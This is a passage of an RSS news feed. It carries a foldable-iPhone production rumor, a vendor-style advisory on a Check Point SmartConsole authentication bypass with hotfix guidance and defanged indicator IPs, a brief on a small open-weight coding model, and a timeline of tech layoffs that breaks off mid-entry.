<content:encoded><![CDATA[As the expected launch of Apple's first foldable <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhone</a> nears, the shipment dates are still up in the air, with supply chain sources saying some plans need to be finalized before full mass production can begin.<br><br><img src="https://photos5.appleinsider.com/gallery/68045-143446-67320-141847-iphonefoldrenderapril20262-xl-xl.jpg" alt="Foldable smartphone standing in a V shape displaying a colorful mountain landscape, beside a small succulent plant and a glowing cat-shaped night light on a tidy desk" height="738" class=""><div><span>The iPhone Ultra's launch window could be anyone's guess at this point</span></div><br>Apple's plans for the iPhone Ultra have been a hot-button topic in recent months. Just days ago, it was reported that Apple had <a href="https://appleinsider.com/articles/26/07/16/mass-production-of-folding-iphone-vapor-cooling-system-has-begun">increased its orders</a> for the vapor cooling system that would be used in its debut foldable.<br><br>Despite that news, rumors of a <a href="https://appleinsider.com/articles/26/05/18/problematic-hinge-could-delay-the-iphone-fold">potential delay</a> have been commonplace. More recently, a report from July 2026 sought to <a href="https://appleinsider.com/articles/26/07/08/iphone-fold-delay-rumor-flip-flop-continues-new-leak-says-everything-is-on-time">ease fears</a> that Apple would miss its fall release window.<br><br>Now, a <em>DigiTimes</em> <a href="https://www.digitimes.com/news/a20260723PD226/apple-foldable-iphone-production-market.html">report</a> claims that the iPhone Ultra's launch is once more in question, with assembler Foxconn still making "adjustments" to its mass production plans.<br><br><br> <strong>Rumor Score:</strong> 🤔 Possible <br><br><br> <a href="https://appleinsider.com/articles/26/07/23/apples-foldable-iphone-launch-in-question-amid-production-hiccups?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245033?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild]]></title>
<description><![CDATA[OverviewOn July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as impr...]]></description>
<link>https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</guid>
<pubDate>Thu, 23 Jul 2026 14:42:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 22, 2026, Check Point </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>published a security advisory</span></a><span> for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-16232/"><span>CVE-2026-16232</span></a><span>, an authentication bypass in the SmartConsole login process classified as improper authentication (</span><a href="https://cwe.mitre.org/data/definitions/287.html"><span>CWE-287</span></a><span>). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.</span></p><p><span>Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232"><span>added</span></a><span> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.</span></p><p><span>The advisory addresses three vulnerabilities in total:</span></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><thead><tr><th><p><span><strong>CVE</strong></span></p></th><th><p><span><strong>CVSS</strong></span></p></th><th><p><span><strong>Description</strong></span></p></th><th><p><span><strong>Affected Products</strong></span></p></th><th><p><span><strong>Exploitation Status</strong></span></p></th></tr></thead><tbody><tr><td><p><span>CVE-2026-16232</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Authentication bypass via SmartConsole application token</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>Exploited in the wild</span></p></td></tr><tr><td><p><span>CVE-2026-62144</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Management authentication bypass and privilege escalation</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>No known exploitation</span></p></td></tr><tr><td><p><span>CVE-2026-62145</span></p></td><td><p><span>7.5 (High)</span></p></td><td><p><span>Local privilege escalation in GaiaOS WebUI</span></p></td><td><p><span>Firewall, Multi-Domain Management, Multi-Domain Log Server</span></p></td><td><p><span>No known exploitation</span></p></td></tr></tbody></table><p></p><p><span>Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>advisory</span></a><span>, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.</span></p><p><span>Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-50751/"><span>CVE-2026-50751</span></a><span>, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, </span><a href="https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/"><span>CVE-2024-24919</span></a><span>, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.</span></p><h2>Mitigation guidance</h2><p><span>Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.</span></p><p><span>The following versions are affected by CVE-2026-16232:</span></p><ul><li><p><span>R82.10</span><span>: fixed in Jumbo Hotfix Take 36 and later</span></p></li><li><p><span>R82</span><span>: fixed in Jumbo Hotfix Take 118 and later</span></p></li><li><p><span>R81.20</span><span>: fixed in Jumbo Hotfix Take 158 and later</span></p></li><li><p><span>R81.10</span><span>, </span><span>R81</span><span>, </span><span>R80.30</span><span>, </span><span>R80.20</span><span>, </span><span>R80.10</span><span>, </span><span>R80</span><span>, and </span><span>R77.30</span><span>: no fix specified</span></p></li></ul><p></p><p><span>CVE-2026-62144 and CVE-2026-62145 affect the same release families (</span><span>R81.10</span><span>, </span><span>R81.20</span><span>, </span><span>R82</span><span>, </span><span>R82.10</span><span>) per the vendor advisory, with older versions also impacted.</span></p><p><span>Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:</span></p><ul><li><p><span>Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets</span></p></li><li><p><span>Protect Management access with a firewall and restrict access to trusted IP addresses</span></p></li><li><p><span>Verify that implied rules for control connections are enabled</span></p></li></ul><p><span>These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.</span></p><p><span>Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.</span></p><p><span>For the latest mitigation guidance, please refer to the vendor </span><a href="https://support.checkpoint.com/results/sk/sk185169"><span>advisory</span></a><span>.</span></p><h2>Rapid7 customers</h2><h3><span>Exposure Command, InsightVM, and Nexpose</span></h3><p><span>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.</span></p><h2>Indicators of compromise</h2><p><span>Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:</span></p><ul><li><p><span>151.241.99[.]207</span></p></li><li><p><span>151.241.99[.]233</span></p></li><li><p><span>158.62.198[.]182</span></p></li><li><p><span>192.142.10[.]99</span></p></li><li><p><span>139.28.37[.]250</span></p></li><li><p><span>194.213.18[.]137</span></p></li></ul><p></p><p><span>Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.</span></p><h2>Updates</h2><ul><li><p><span><strong>July 23, 2026</strong></span><span>: Initial publication.</span></p></li></ul>]]></content:encoded>
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<title><![CDATA[Poolside's Laguna S 2.1 is a small open-weight coding model that punches well above its size]]></title>
<description><![CDATA[Poolside has released Laguna S 2.1, its third coding model in three months. Rather than rely on raw scale, the company trained it to keep checking its work, revise failed approaches, and avoid giving up too soon during long agentic sessions. The compact model beats several much larger rivals in b...]]></description>
<link>https://tsecurity.de/de/3689056/ai-nachrichten/poolsides-laguna-s-21-is-a-small-open-weight-coding-model-that-punches-well-above-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689056/ai-nachrichten/poolsides-laguna-s-21-is-a-small-open-weight-coding-model-that-punches-well-above-its-size/</guid>
<pubDate>Thu, 23 Jul 2026 14:36:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/Poolside-Logo-Wall-generated-image-nano-banana-pro.png" class="attachment-full size-full wp-post-image" alt="White 3D cubes in hexagonal frames on a purple background symbolize modular interconnectivity and digital structure." decoding="async" fetchpriority="high"></p>
<p>        Poolside has released Laguna S 2.1, its third coding model in three months. Rather than rely on raw scale, the company trained it to keep checking its work, revise failed approaches, and avoid giving up too soon during long agentic sessions. The compact model beats several much larger rivals in benchmarks. Poolside says it also solved a math problem that had been open since 1975 for under 10 cents.</p>
<p>The article <a href="https://the-decoder.com/poolsides-laguna-s-2-1-is-a-small-open-weight-coding-model-that-punches-well-above-its-size/">Poolside's Laguna S 2.1 is a small open-weight coding model that punches well above its size</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Thu, 23 Jul 2026 14:35:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



